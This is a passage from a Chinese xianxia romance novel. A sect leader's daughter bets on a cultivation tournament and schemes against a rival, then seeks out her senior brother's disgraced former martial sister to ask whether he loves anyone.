叶怀昭霸占了白藤交椅,谢迟云只好选择角落处的矮榻。 他身型颀长,那矮榻根本就难以让他躺下。 左右只是一晚罢了,谢迟云干脆坐在矮榻上开始凝神静气,闭目养神。 叶怀昭看了他片刻,又将脑袋向外衣下缩了缩。 算了,回头把那道剑意再稍微炼化一下吧。 搞得像是她在欺负他似的。 屋外的雪花簌簌飘落,转瞬间便将榕树上落了一层雪白。 不知过了多久,白藤交椅上的少女已经沉沉睡去,身体蜷缩在外衣下,鼓起一团小包。 闭目养神的青年忽地睁开眼睛。 他安静注视着少女几瞬,默默将她蒙住脑袋的外衣向下拉了拉,露出酣红的脸庞。 真是不让人省心。 谢迟云在心中叹息。 – 第二日,桑春是在北林峰找到叶怀昭的。 炼器坊位于山中峡谷,两侧是嶙峋的怪石,苍翠的松树蜿蜒着探出,日光透过枝叶的空隙落到下方的石滩上。 她循着炼器坊弟子的提示找到叶怀昭时,她正站在一块玄石前和一个白发鹤颜的器修前辈吵架。 “你之前可是向我保证绝对能锻出一把上品仙器的,怎么临到最后忽然又说 要多加玄石?这不是坑骗是什么?!” “叶姑娘,你可别再这血口喷人!我说保证能锻出上品仙器那是因为不加你那劳什子的剑意——你要是非要把那剑意融进仙器中,那可不得多加同等级的玄石去锻造?!” 叶怀昭冷笑:“那你为什么不早说?契约白纸黑字可是写了锻造上品仙器需要多少钱,你现在干到一半了忽然说加价,信不信我拿着契约去找戒律堂告你坑骗!” 器修的脸上的表情终于微微变化。 他看了看分毫不让的叶怀昭,又瞥了一眼两人身后的玄石,咬着牙说:“坎水剑意若是想融入仙器必须有同属性的玄石作为介质,没写在契约中是因为从未有人拿这等高阶剑意炼器过!” 叶怀昭:“这是你的问题,又不是我的。” 两人又打了几番口水仗,眼见叶怀昭咬死了原本的契约不让,器修终于退了一步,不情不愿说:“这一块玄石你至少要付一半,否则叶姑娘就另寻高明吧。” 叶怀昭:“另加两道防护符文。” 器修:“……” 他皮笑肉不笑、极其肉疼地、从牙齿缝中挤出一个字:“好。” 叶怀昭心满意足地付了钱,转头看到倚在门边的桑春。 桑春:“你昨晚去哪了?” 叶怀昭眨了眨眼,实话实说:“在习道院后的屋棚。” 桑春觉出不对:“你用完那道术法后还有灵力?怎么躲过去搜查的戒律堂弟子的?” 叶怀昭漫不经心:“当然是因为我师兄帮忙在旁边布下掩人耳目的阵法啊。” 她说这话的语气平平常常,桑春也根本没想谢迟云布下了什么阵法,只当对方布下阵法后就离开了,根本不知道两个人竟然还在一起睡了一晚。 此时更吸引她的显然是其他事情。 少女指了一下叶怀昭身后的玄石,轻轻挑眉说:“坎水剑意,这么大手笔?这上品仙器给谁锻造的?” 叶怀昭笑眯了眼:“你猜。” “我猜是给昨晚和你在习道院打得天翻地覆的某位师兄。”桑春不满地说,“你胡闹也就罢了,怎么谢迟云也陪着你胡闹?你知不知道你们两个可是差点要被双双关进澡雪阁面壁思过了。” 她眯了眯眼睛威胁说:“你下次再约架,不许挑在我巡山的时候。” 叶怀昭无辜举手:“我可一次都没挑在小春巡山的时候打架。” 桑春冷笑一声:“我当然知道。要不然你以为我为什么现在在警告你而不是直接揍你一顿?” 叶怀昭默默放下手。 她转移话题问:“所以小春来找我干什么?不会是只为了来警告我吧。” 桑春瞥她一眼:“距离问道大会开始只剩十日,你准备什么时候去无相宫?” 这次的问道大会轮到无相宫举行。 叶怀昭思索片刻:“大约三日后?具体要看我师兄何时走。” 桑春停顿一瞬:“为什么要看谢迟云?” 叶怀昭理所当然说:“因为我最近在调查他有没有爱慕的姑娘。” 桑春更疑惑了:“你调查这个做什么?之前不是你说不再调查他了吗?” “因为我现在勉强有点喜欢他。”叶怀昭说。 桑春:“……” 她蓦地沉默了。 隔了一会,面容冷淡如高悬明月的少女冷静道:“你再说一遍。” 叶怀昭眨了下眼睛,伸出两根手指比出一个小小的距离:“我说,我觉得我现在勉勉强强——有一点点——喜欢谢迟云。” 第37章 第三十七章赌局 直到三日后登上前往无相宫的仙舟,桑春还是没能从叶怀昭在炼器坊中的一句话回神。 她百思不得其解,怀疑地问:“你之前真没和谢迟云发生什么?” 叶怀昭:“我们打了一架啊。” 桑春:“别人打架都是打成世仇,你们打架怎么还打出感情来了?” 叶怀昭恼怒地跺脚,努力解释:“都说了,只是有一点点——只比普通朋友多一点点——的喜欢!” 桑春对自己好友的嘴硬习以为常,“嗯嗯”点着头敷衍过去,嘴里说:“那你打算怎么办?” 叶怀昭理所当然道:“让他也喜欢我啊。” 旁人意识到自己喜欢上一个高岭之花般的人物后,或多或少地都会自卑纠结一番,然后再决定怎样让对方喜欢上自己。 ——只有叶怀昭,这个大小姐虽然也纠结了几天,但她纠结的点在于如果他们在一起后又分开那还值不值得她去付出,根本就没想过谢迟云不会喜欢她的可能。 虽说桑春认为谢迟云对叶怀昭这个师妹应该也是有感情的,但她依旧对叶怀昭这种超绝自信、理所当然的态度叹为观止。 不过叶怀昭好歹想起来另一件事:“但是我得在连魂蛊成熟前让他和我结成道侣。” 桑春听叶怀昭说过连魂蛊的事情,越听越觉得自己应该把之前随手买的那个民间话本分享给叶怀昭,让她通篇诵读默写。 她想了想,说道:“你若是想解蛊,这个条件其实也不是必须。” 见叶怀昭看过来,桑春耸耸肩说:“反正只要能解蛊就好了,也不一定非要成为道侣。” 她漫不经心说:“结成道侣那可就是在天道前立誓,违背承诺会被反噬——你确定自己以后都不会反悔?” 远处是谢迟云在和负责护送长风门弟子前往无相宫的仙师交流事情,而近处,面容冷淡的少女凑近叶怀昭。 她悄声说:“当务之急是想哄他将连魂蛊剥离,至于要不要结成道侣,到时候再说也不迟。” 桑春在长风门中的风评非常两极分化——坏的一方认为她太过于冷漠自私,而好的一方觉得她做事的确完全以自己人的利益为主。 就像现在。 她是叶怀昭的好友,她的立场天然地偏向叶怀昭,给出的建议完全以维护自己好友的利益为目的。 她甚至始终对谢迟云保持怀疑,至今还在调查他当年为什么会在魔界出现。 叶怀昭沉默半晌,也像她一样悄声说:“小春,你要是哪天被别人套麻袋了,我一定二话不说去救你。” 桑春牵了牵唇角,盯着她故意说:“如果套我麻袋的人是你师兄呢?” 叶怀昭眨了眨眼:“那你要等等,我现在还暂且打不过他,等我摇到人一定去救你。” 桑春翻了个白眼,把她从自己身边推开:“等你叫到人过来,我早就过头七了。” 叶怀昭于是又过来吵吵闹地哄她。 – 问道大会每五年进行一次,由三大门派轮流举行,不限修为不限门派,只要一百岁以下的年轻修士皆可参加,只是每人一生只能参加一次。 若是谁能在问道大会中取得榜首,那便是修真界年轻一辈的佼佼者。若是没有在半路夭折,以后基本上都能成为各大门派的中流砥柱。 甚至有人统计过,自古以来修真界的仙首十之有七八曾经都是某一届问道大会的榜首。 于是为了押宝,不少宗门都会对问道大会的前三甲进行奖励,尤其是榜首的奖励更是丰厚。 若是能在问道大会中取得好名次,几乎是代表在此后的修行之路上的平步青云。 上一届的问道大会榜首毫无悬念,是长风门的谢迟云。 可这一届的问道大会榜首是谁,修真界却各执一词。 无相宫位于北境,与长风门遥遥相对,虽说距离之远不至于与丹河秘境对等,可也不是什么相近的地方。 于是等到仙舟行到第二日时,闲不住的长风门弟子私底下组了个局,开始押这次的问道大会榜首是谁。 叶怀昭嘴上说着“无聊”,其实也在偷偷关注着赌局,等到最后一日时还特意找人问了结果。 然后被结果气得差点没到问道大会就先和人打了群架。 押榜首是谁的情况如下: 【第一名:青冥台,庄丹雪】 【第二名:长风门,叶怀昭】 【第三名:无相宫,宁绥】 叶怀昭被人强行拦 在原地,还在怒骂:“你们怎么回事?明明是长风门的弟子竟然还长他人志气灭自己威风?!到底是哪个眼瞎的押庄丹雪得榜首的?!” 一片混乱间,有人大着胆子说:“叶师姐,但你是医修啊!” 叶怀昭更气了:“医修怎么了?都什么年代了竟然还有人瞧不起医修?信不信医修也能把你打得满地找牙!” 于是又有人说:“叶师姐你受伤了!” 叶怀昭怒道:“受伤了难道就打不过庄丹雪了?” 同为大门派掌门唯一的女儿,又年纪相仿,叶怀昭和庄丹雪总是修真界饭后闲谈的比较对象。 只是她们两人的争斗多半发生在秘境中,很少一对一地打架,而且最后结果一般有输有赢,所以大家对于这两人究竟谁更厉害一向没有定论。 不过这种情况在叶怀昭重伤苏醒后渐渐发生了改变。 无忘川是什么地方?那可是整片大陆最凶险的三大禁地之一。 有人认为,叶怀昭虽然从无忘川活着回来了,但她的身体估计遭受了不可逆转的损伤,以后能够达到的成就应该不会比庄丹雪更高。 这种想法被广为接受,甚至说服了一大部分本来认为“就算是医修怎么了,医修难道就不能打过剑修吗?”的人。 总而言之,如今修真界关于这次问道大会的猜测基本上都是认为庄丹雪会拿到榜首,而叶怀昭屈居第二,无相宫的宁绥继续当他的万年老三。 ——还有更极端的人认为受伤后的叶怀昭就连宁绥也打不过。 一群年轻弟子的吵闹成功引来了几名仙师的注意。 戒律堂堂主眉头一皱刚要去抓挑事的人,就见原本闹哄哄凑在一起的弟子们纷纷心有灵犀地作鸟兽散,转瞬间逃得没影了。 桑春本来也在凑热闹,一见自己师尊来立刻脚底抹油逃跑,但还是被眼尖地抓住了。 她无奈地被抓去干活,临走前瞥了一眼身后的拐角处,在心中冷哼一声。 ——真是见色忘友。 被评价为“见色忘友”的叶怀昭捂着鼻子打了个喷嚏。 她揉了揉鼻子,看向把自己拉走的谢迟云:“师兄怎么在这?” 谢迟云说:“听到堂主说这里有些吵闹,先行一步来探查。” 然后顺便把风波中央的师妹及时救了出来。 叶怀昭还在为方才的赌局耿耿于怀,闻言说:“师兄押的谁是榜首?” 她紧紧盯着阴影中的谢迟云,心想要是他敢说自己押的是庄丹雪,管他什么喜不喜欢的,她直到问道大会结束绝对不和他说一句话! 谢迟云接受她如有实质的目光,轻描淡写说:“自然是押了师妹榜首——” 叶怀昭哼了一声,终于满意了:“这还差不多。” “三千金。” 叶怀昭后半截的话堵在喉咙中。 她一开始没听清数字,反应过来后,少女的眼睛一点一点睁大。 叶怀昭结结巴巴地重复:“三、三千金?” 见谢迟云点头,叶怀昭顿时倒吸一口凉气。 谢迟云眨了眨眼:“我相信师妹不会拿除了榜首之外的其他名次。” 叶怀昭其实远没有她表现出来的那么生气。 因为她就是认为自己的实力胜过庄丹雪,旁人怎样想对她来说没有任何影响。 但谢迟云这种绝对信任还是让她稍微感动了。 叶怀昭郑重其事地拍了拍自己师兄的胳膊,说:“师兄,这三千金我一定会给你连本带利、翻倍地赚回来。” 她冷笑:“到时候就让那些押庄丹雪得榜首的人赔得底裤都不剩!” 叶怀昭说到做到,仙舟上的日子转瞬过去,很快长风门的弟子便来到了无相宫所在的平清城。 一下仙舟,叶怀昭甚至都没有和其他人一样去收拾自己的行李,直接拉着桑春去了平清城暗地里最大的赌场。 她的目标明确,直接去找这次问道大会的赌局。 赌局的情况和长风门弟子组的赌局情况差不多,照例是押庄丹雪得榜首的人更多。 叶怀昭看着赌局冷笑一声,直接出手押了与谢迟云一样的三千金。 嘈杂哄闹的赌场中顿时陷入落针可闻的死寂。 叶怀昭这张脸在修真界中还算是有名,立刻有人半是玩笑半是嘲笑地说:“叶大小姐对自己倒是很有自信啊,难道不怕到时候名利两空?” 叶怀昭冷哼:“我会不会两空,到时候不就知道了?” 说话的人哂笑一声,正欲开口,又是一道吊儿郎当的声音自赌场外传来。 “今日这赌场怎么这么热闹?” 所有人同时向外看去。 一个凤眼笑唇、身穿云纹锦袍的年轻男人走进来。 那人先是意味深长地看了一眼场地中央的叶怀昭,才慢悠悠地将视线转向赌局。 有人笑道:“宁仙君,叶仙君方才可是押了三千金赌自己得榜首,您要不也押几个钱试试?” 宁绥好脾气地说:“行啊。” 他干脆利落地拿出钱袋,抛给赌场的人,嘴上却说:“只押榜首没意思,我们玩点大的。” 叶怀昭挑了挑眉,看见他抬手指向赌场中的另一端。 那是一个此次问道大会三甲人选的赌局。 宁绥笑眯眯说:“我压她第一,我第二,庄丹雪第三。” 第38章 第三十八章零花钱 问道大会举行在即,平清城内聚集了大量修士,更有无数投机的商人想要来此分一杯羹。 叶怀昭和宁绥皆是榜首的大热人选,这两人同时出现在一起,还纷纷豪掷千金押注赌局,消息没到半日便传遍了整个平清城。 后来听说此事的庄丹雪据说也气炸了,叶怀昭押了三千金赌榜首之位,于是她就押了四千金押自己是榜首,隔空和叶怀昭叫板。 叶怀昭冷哼一声,转头又加了一千金。 庄丹雪再加一千金。 两人一千金一千金地加码,最后甚至加到了整整一万五千金,才被青冥台和长风门的两派大师兄叫停。 他们三人虽是收手了,但关于此次问道大会的赌局彻底被炒热了。 以往的问道大会中,几个大热人选间即便是关系不好,出于礼貌也会自谦几句,更是很少在外就表现得这么水火不容。 而这次的问道大会三个夺魁热门都是性格张扬的类型,还没开始对决就摩擦不断,无论是修士还是看热闹的普通百姓对此都非常乐见其成,这一届的问道大会几乎算是近几届中最热闹而备受关注的一届。 但是在无相宫,被临时拨来供给青冥台和长风门弟子居住的楼院却是气氛相反的冰冷。 训话的仙师离开后,青冥台的大师兄对着自己忿忿不平的师妹无奈叹息:“师妹在外代表的是我们青冥台的脸面,即便再如何生气,怎么能被人挑唆着不断去赌场押注呢?” 庄丹雪自知理亏,低着头闷闷说:“我错了师兄,是我当时没有思虑清楚。” 她的大师兄也知道自己师妹的性格——她和叶怀昭斗了一辈子,事事都要在她前头,当然不可能任由叶怀昭抢了风头。 “平清城人多口杂,不必理会那些闲言碎语,师妹这几日好好休息。” 他拍了拍师妹的肩膀,说道:“掌门相信师妹一定能发挥不错的。” 庄丹雪咬着自己的下唇,最后还是闷声说:“好。” 考虑到长风门和青冥台一向不对付,无相宫给长风门安排的住所在远离青冥台的另一端。 谢迟云把叶怀昭拎回临时住所,一路上脸上都没怎么笑,看得本想出言劝上几句的其他弟子也瞬间噤声。 有人和叶怀昭关系不错,很快就 给桑春疯狂敲字,让她赶紧来救人。 隔了半晌,睡午觉被灵盘震醒的桑春不耐烦地回道:【你信谢迟云会骂他师妹,还是信我能干掉那三个人拿榜首?】 好心弟子:“……” 屋中,被从赌场拎回来的叶怀昭和自己的大师兄对视。 谢迟云正欲开口,叶怀昭就垂着眼尾,小声说:“师兄,我饿了。” 她从仙舟下来后便去了赌场,根本就没吃午膳。 谢迟云给她倒了杯水,又拿出来几盘糕点让她先吃着,转身离开屋舍。 没过一会儿,青年端着一碗热气腾腾的阳春面回来,推到叶怀昭的面前。 “无相宫的膳堂过时便不再有饭食,我去小厨房简单做了碗面,师妹先垫一垫。” 叶怀昭开开心心地拿过筷子开始吃饭,坐在桌子对面的谢迟云看着她吃,一边说:“屋中只是简单收拾了一番,还未添置东西,师妹若是缺些什么告诉我,我再去找无相宫要。” 他没有提赌局的事情,叶怀昭自然也不会去触那个霉头,而是说:“沈玉山为什么来无相宫了?” 沈玉山便是青冥台掌门的大徒弟,与谢迟云在长风门中的地位相同,只是修为比他更逊色几分,在宗门事务管理上的权力又比谢迟云大上几分。 谢迟云淡淡道:“他是代表庄仙首来问道大会的。” 叶怀昭惊诧问:“庄仙首竟然不打算在问道大会出现?” 历届的问道大会都需要仙首宣布开始,庄黎如今竟然连问道大会都来不了了? 她咬着筷子,小声嘀咕说:“难怪庄丹雪近日瞧上去那么焦躁不安。” 亲爹都要死了,能不着急吗? 谢迟云没有接她这句话,叶怀昭放在桌上的灵盘倒是发出几声嗡鸣。 她一手拿着筷子吃面,另只手将灵盘扒拉过来。 是她的那位仙友发来的消息: 【还活着没?】 叶怀昭说:【当然,我师兄又不是沈玉山。】 她想了想,又说:【说好的你七我三,不许反悔。】 停顿一会后,宁绥慢吞吞说:【当然。】 恰在此时,叶怀昭听到谢迟云淡声道:“师妹近日很缺钱?” 她微微眯着眼说:“还好。” 她思索着说:“不过宁绥最近倒是挺缺钱的。” 叶怀昭吃饱喝足后显得尤为满足,在日光下伸懒腰的样子像是优雅的猫。 她不怀疑谢迟云竟然看出来她和宁绥做的局,此时歪了歪头,无辜说:“是庄丹雪非要和我下赌注的。” 她只是稍微挑拨了一下,她就稀里糊涂地上了钩。 虽然这点钱在庄大小姐眼中估计也算不了多少,但能让那个一向眼高于顶的大小姐吃瘪,叶怀昭还是很乐见其成的,也就不介意让宁绥稍微利用一下她。 她拍拍裙子站起身,心情很好地问:“师兄要和我出去玩吗?” 谢迟云摇头:“师妹先去吧,师尊有些事情想让我和无相宫的仙师商量一番。” 他没空,叶怀昭只好耷拉着唇角干巴巴地“哦”了一声,准备自己去平清城逛几圈——她还是第一次来这平清城呢。 她说:“师兄等我回来帮你带好吃的。” 谢迟云弯着眉眼笑了一下,叫住了转头就要离开的叶怀昭:“师妹稍等片刻。” 他在少女疑惑的目光中走过去,从自己的乾坤袋中摸出来钱袋放到她的手中。 “过几日问道大会便开始了,练功与否没什么区别,师妹这几日好好玩,若是钱不够再找我要。” 虽然之前为了锻造上品仙器花了一大笔钱,但来无相宫前叶怀昭可是软磨硬泡地从亲爹手中要了一大笔零花钱,现在的确算不上缺钱。 不过,谁会嫌自己赚钱多呢? 而且还是谢迟云亲手给她的。 叶怀昭本来没想让自己看起来那么好哄的。 但她压了压唇角——没压住——干脆眯眼对自己师兄笑了一下,真诚说道:“师兄你真好。” 谢迟云摸了摸她柔软的发顶,看到穿着一身漂亮衣裙、戴着金簪玉佩的少女蹦蹦跳跳地走了。 直到她的身影消失在院中的拐角,他眼中不自觉的笑意才渐渐落下。 他伸手,隔着衣衫碰了一下自己的心口。 已经过了数日,但心口处的伤口在触碰时依旧在隐隐作痛,即便像是谢迟云这样极能忍痛的人都不自觉地抽了一下眉角。 还是要尽快解决。 谢迟云在心中想,若是拖得再久些,师妹腻烦了该如何? – 叶怀昭穿梭在平清城中各种商铺地摊中,一路上都兴致勃勃。 她先去了一趟书铺,挑挑拣拣地给睡午觉没离开无相宫的桑春买了好几本新出的话本。 又去隔壁的衣料铺子看了看,给自己和谢迟云以及好友们挑了几件成衣。 最后又去买了几个糖人边走边吃,明眼人都瞧出来她此时的心情不错。 被她强行来拉凑数的宁绥低头瞥了她几眼,懒洋洋说:“叶大小姐心情这么好?” 叶怀昭说:“当然。” 宁绥以为她是因为庄丹雪的事情心情好,却不想听到叶怀昭问道:“你有师兄吗?” 面容俊美风流的男人轻挑眉:“没有。我师尊可就我这一个徒弟。” 于是叶怀昭遗憾说:“那太可惜啦。” 她笑眯眯说:“没有师兄能给你花钱。” “……”宁绥皮笑肉不笑,“有师尊能给我花钱就行了。” 叶怀昭嗤笑一声,本来要再和他拌几句嘴,余光忽地瞥见一道极熟悉的身影。 她定睛看去,眼中忽地闪过几丝趣味,抬脚就要走过去。 隔着挨挨挤挤的人群,那人像是心有所觉般回头,恰好与叶怀昭对视。 而后,他拔腿就跑! 几瞬过后。 “大小姐我错了!”一个面容清秀的少年蹲在地上可怜巴巴说。 叶怀昭哼了一声:“你跑什么跑?是不是又干了什么坏事所以看见我就心虚。” “我哪敢啊大小姐!”周鹤亭哭丧着脸,“我怎么可能再做那种勾当?” “——什么勾当?”慢了一步走来的宁绥随口问道。 他瞥了一眼脸色微妙变化的周鹤亭,又去看面色不善的叶怀昭,丹凤眼微眯:“你们认识?” “宁师兄。”周鹤亭叫了他一声,结结巴巴说,“我、我就就是之前在丹河秘境时和叶仙君结识的。” 说着,他偷偷给叶怀昭疯狂眨眼睛使眼色。 但是叶怀昭看都没看他。 ……完蛋了。 周鹤亭绝望地闭上眼睛,却听叶怀昭若无其事道:“这不是你之前总是和我抱怨说‘愚笨得不可救药’的师弟吗?” ……周鹤亭一时不知该庆幸叶怀昭没把他供出来,还是应该悲哀他在宁绥师兄眼中竟然愚笨得不可救药。 他被深深打击到了,怀疑人生之时旁边两人的对话还在继续。 叶怀昭问:“你知道你们无相宫附近最近有什么妖魔袭击村庄的事情吗?” 她的话题跳跃太过于迅速,宁绥顿了片刻才目光莫名地瞧了她一眼:“怎么,你们长风门的势力都准备扩展到北境了?” 他半开玩笑说:“我师尊可是等着上位掌门呢,你可别打我们无相宫的主意。” 他的师尊是无相宫的无妄仙尊,乃是无相宫近几年来修为最高深、最有能力接下掌门之位的人选。 唯一的缺点就是无妄仙尊和无相宫现在的掌门关系不佳,连带着下一任掌门的人选依旧扑朔迷离。 叶怀昭无语:“我只是要问你找人。” “来我无相宫附近找人?”宁绥问,“你找谁?” 叶怀昭将自己手中的糖人三两口吃掉,拍拍手说:“林漱雪。” 她语气轻松道:“我师兄的师姐。” ——作为师姐,应该知道自己师弟爱慕什么姑娘吧? 第39章 第三十九章我猜他应该挺喜欢口是心非…… 谢迟云是长风门掌门的大徒弟,但并非是他第一个徒弟。 几十年前,叶珩也曾将一个名叫“林漱雪”的弟子收为亲传徒弟。 作为三大宗门之一、长风门掌门的首徒,这位大师姐修道天赋极高,堪称是天纵奇才,年纪轻轻便迈过天罡境的门槛,成为年轻一辈中的佼佼者。 那时几乎所有人都认为她不仅会继 承自己师尊衣钵、成为长风门掌门;过几年等青冥台的那位仙首去世,说不准修真界的坤脉也会选择她成为仙首。 只是世事难料。 三十年前,长风门管辖之下的某个村庄中忽然被数只妖王级别的凶兽袭击,长风门立即派距离最近的弟子——也就是凌霄仙君林漱雪前往镇压。 所有人都认为以她的修为水平,应付那几只妖王根本不在话下。 可事实却是凌霄仙君只杀死了两只凶兽便从村庄撤离、转而应对破镜雷劫——而剩余的那五只凶兽,将整个村庄的百姓都屠杀殆尽。 破镜雷劫凶险无比,本就应该选择一个相对安全的环境来度过。 可它恰恰撞上了凶兽袭击。 而被所有人寄予厚望的凌霄仙君,在自身修为和百姓性命之间选择了前者,任由那一百多条性命被凶兽夺去。 此事一出,举界哗然。 凌霄仙君曾被追捧得有多高,在这件事情后就被唾弃得就有多么恶毒。 再加上她渡劫失败、灵脉灵识大损,修为一落千丈。 数不清的流言蜚语将她湮没,她在顶峰时跌落泥潭,再也没有重新攀登的能力,沦为所有人眼中的“废人”。 后来即便她的师尊叶珩多次挽留,她也无颜留在师门,毅然决然地自请下山,再也没回过长风门。 再后来便是几十年的光阴流过,“凌霄仙君”的名字被无数后起之秀湮没,渐渐被修真界所遗忘。 曾经的赫赫功名,最终只被一句“贪求无厌、德行有亏”所掩盖。 听到叶怀昭的话,无相宫这对师兄弟的反应截然不同。 周鹤亭压根没听过“林漱雪”这个名字,神情茫然地问“这是谁”。 而宁绥漫不经心的神色微微一顿,而后眼神古怪说:“你找她?” 见叶怀昭点头,宁绥的脑中迅速想起来自己之前听说过的那些传闻。 他沉默半晌,斟酌着话语说:“我倒是知道她如今在哪,但是你得保证见到她后不许动手。问道大会不日便会开始,不要在这时候再横生事端。” 叶怀昭纳闷:“我为什么要对她动手?” 宁绥一愣:“你不是怨恨她吗?” 当年因为林漱雪的事情,长风门也遭到了一些非议,有些人认为长风门的弟子多是自私冷漠之徒,没有承担起应有的护佑世间安稳的大义。 宁绥以为长风门弟子对这位有辱师门的大师姐态度应该不太友好,自然也就以为作为掌门之女的叶怀昭态度更加不好。 谁承想叶怀昭诧异地瞥他一眼,语气诧异:“谁告诉你我怨恨她了?” 她懒得再多说什么,拖着长音说:“你带不带路?不带路我就去找别人。” 宁绥其实也挺好奇叶怀昭找林漱雪做什么。 但叶怀昭不说,他也不好再追问,带着她和同样好奇的周鹤亭向平清城外走去。 他们的脚程很快,没到一炷香的时间就有一处山林间的村庄出现在众人眼前。 宁绥随手抓了一个蹲在路边玩泥巴的小孩,问他:“有没有见到一个你不认识的、长得凶巴巴的姐姐?” 小孩眨巴着大大的眼睛,给他们指了个方向,兴奋说:“见过!阿爹阿娘说那个姐姐去打大妖怪啦!” 他的话音刚落,便有一道凶狠暴戾的咆哮声自不远处传来,村头的三人同时转头看去。 叶怀昭的眼力极好,在尘土飞扬的村间土道上很快便看见一只体型庞大的老虎状凶兽像是追着什么似地向这边跑来。 在它前面,有一道纤薄的身影不断变化位置、时不时向后甩出几道术法。 叶怀昭稍微看了几眼。 实话说,那几道术法的灵力含量很是稀薄,只能说是聊胜于无。 被妖兽追在前面的人很是狼狈,身上都是大大小小的伤口。眼见那凶兽巨大的手掌将要落下、将她掀飞出去时,叶怀昭直接出手。 少女腕间伪装成银镯的听白剑在刹那间出鞘,凌厉的剑式携带着赤色灵力席卷而出,心随意动,转瞬便斩出无数道剑影。 妖兽恰好奔跑跃起,庞大的身躯遮蔽日光,落下压抑的阴影。 但它的身形在半空中停滞一瞬后,忽地毫无征兆化作数块被切割的碎块散开,鲜血瞬间如雨倾落。 周鹤亭条件反射地去捂旁边小孩的眼睛,却还是慢了一步。 满身泥巴的小孩目瞪口呆,脑中不断回忆死不瞑目的妖兽和满地血腥,吓得“哇”得一声哭了出来。 没能出手的宁绥嘴角一抽,头疼地说:“你能不能稍微低调点?” 她一个医修,怎么天天比谁都这么有杀心? 叶怀昭置若罔闻,只抬脚向那被血液淋了满身的女子走去。 林漱雪看着那个面容柔和的少女一步步接近自己。 她倒是没在意自己满身的血污,随手将湿淋淋的头发掠到身后,凌厉狭长的眼眸上下打量着叶怀昭。 林漱雪盯了片刻,忽地笑出声:“小姑娘,你瞧着真够眼熟的。” 叶怀昭没少听过这句话:“他们都说我长得像我阿娘,和我爹只有鼻子和嘴巴像。” 林漱雪却懒懒道:“我没说你爹娘——你和你师兄简直一个德行。” 叶怀昭微微睁大眼睛,这倒是第一次有人不说她和她爹娘像,而是说她和她师兄像。 她饶有兴趣问:“什么?” 脸上挂着伤痕的女子伸手,敲了一下斩杀妖兽后还没来得及收回的听白剑。 指甲与剑刃相击发出一道清脆的响声,眉眼写满疏离冷感的女子微微俯身,笑着说:“——求人办事,却先来一个下马威。” 在两人身旁,已经变成无数碎块的妖兽身躯忽地被什么东西捏爆一样,重新炸起满天的肉沫鲜血。 叶怀昭下意识升起灵力去阻挡,却还是没能拦下,同样被湿淋淋地溅了满身鲜血。 周鹤亭刚刚松开手掌,将小孩安抚好,转头就连带着他一起感受了被血雨兜头直下。 空气霎时间凝滞。 片刻后,划破天际的哭嚎声自村头传至村尾:“哇——娘亲!!” 宁绥:“……” 气质矜贵的大少爷咬着牙心想,下次他再相信长风门的人会低调行事,他就是狗!- 本来还好奇叶怀昭找林漱雪做什么的宁绥经过此事后直接对她们两人彻底失去兴趣,带着周鹤亭去找隐藏在村庄附近剩余的凶兽。 此时林漱雪的屋中只有叶怀昭一人。 掐诀处理完身上鲜血的少女淡然自若地坐进屋中。 花了一小段时间给自己换了身干净衣衫的林漱雪给叶怀昭倒了一杯水,带着没愈合伤疤的手指点着破旧桌面。 “长风门的大小姐,”她语气缓慢地将叶怀昭的身份点出来,脸上勾起似笑非笑的神情,“来找我这个‘长风门的叛徒’,是所为何事?” 叶怀昭喝水润了润喉咙,才开口说:“林师姐认识我师兄?” “不用叫我师姐,如今我可不是长风门的弟子。”林漱雪先是纠正了叶怀昭的话,才说,“至于你师兄谢迟云——乘玉仙君鼎鼎大名,谁会不知道呢?” 按照常理,林漱雪和谢迟云应当是从未见过面的仇人。 同样是声名赫赫,同样是掌门之徒,一个已经跌落尘埃,一个却是风华正茂。 但是林漱雪说后半句时声音很是平静,没有任何旁人以为的阴阳怪气,只是在陈述事实。 叶怀昭听到转了转杯子,听到对方说:“你是为谢迟云而来?” 少女眨了下眼。 她将自己之前的计划全部推翻,比自己预料之中更早地抛开试探,极为干脆地承认了。 “我听说师兄之前下山历练,曾经与前辈有过几次接触, 而前辈也指导过我师兄。“她说,“我想,前辈应该对我师兄有些熟悉吧?” 这个消息甚至还是桑春告诉她的。 虽然谢迟云说自己没有道侣,但秉持着严谨态度,桑春还是搜集了一番与谢迟云关系非同一般的修士。 然后还真让她找到一个人。 那便是在世人眼中本该水火不容的凌霄仙君,林漱雪。 近些年里,谢迟云其实很少出手惩罚同门弟子。 但据桑春找到的情报,除了之前惩罚在背后诋毁叶怀昭的人外,剩下有将近一半是因为有人对他那位早已离开师门的前师姐出言不逊。 他为什么会对八竿子打不着一起的林漱雪这么关注?桑春不知道,可不妨碍她挖到谢迟云在山下曾经与林漱雪有过联系。 叶怀昭本来也没打算这么快就来找林漱雪——说实话,其实她不觉得谢迟云对自己的前师姐有爱慕之心,她没有什么危机感。 但是毕竟来了平清城,又听说林漱雪近日也在此停留,叶怀昭闲来无事,还是决定来拜访一下。 就算没能问出谢迟云有没有爱慕的姑娘,也算是满足了叶怀昭本人对自己阿爹这位大徒弟的好奇心。 不过林漱雪的态度倒是有点出人意料。 她本来还有点兴趣地盯着叶怀昭,听到此话,眼中的兴趣慢慢消失,提不起精神说:“所以呢,你想问些什么?” “修为、剑式、弱点……”她打了个哈欠,“看在你是叶掌门孩子的份上,我可以无条件回答你一个关于他的问题。” 叶怀昭的眼睛微亮。 她将手中把玩的茶盏推到旁边,手臂撑在桌上,稍稍倾身凑近林漱雪。 在林漱雪看来,这是一个女孩子之间说悄悄话的姿势,带着本不该出现在她和叶怀昭之间的熟稔信任之感。 她心中毫无征兆地忽地一跳。 而下一瞬,她那隐约的直觉成真。 “前辈,你知道我师兄有没有爱慕的姑娘?”面容柔软的少女眨着圆润的眼眸说。 屋外是几个小孩窜过墙边的嬉闹声,破旧的草屋中蚊虫在空中打着转飞过两人的面前。 林漱雪脸上的神色骤然空白。 旁人觉得她和谢迟云的关系应该水火不容,但林漱雪觉得叶怀昭和谢迟云的关系更应该是水火不容的。 看青冥台那对师兄妹就知道了——掌门之位只有一个,但掌门除了大徒弟外还有一个女儿。 庄丹雪修为天赋异禀又如何?她依旧没能从她那位大师兄手中夺得青冥台宗门事务的处置权力。 她忌惮着自己的大师兄,因为若是她想要夺得掌门之位,作为掌门首徒的沈玉山就是她最大的竞争对手。 而叶怀昭有着和庄丹雪相同的处境,甚至更加糟糕——因为谢迟云的修为水平可比沈玉山高深多了,而且他是剑修,继承了叶珩的衣钵。 而现在——听听这位长风门大小姐方才说了什么? 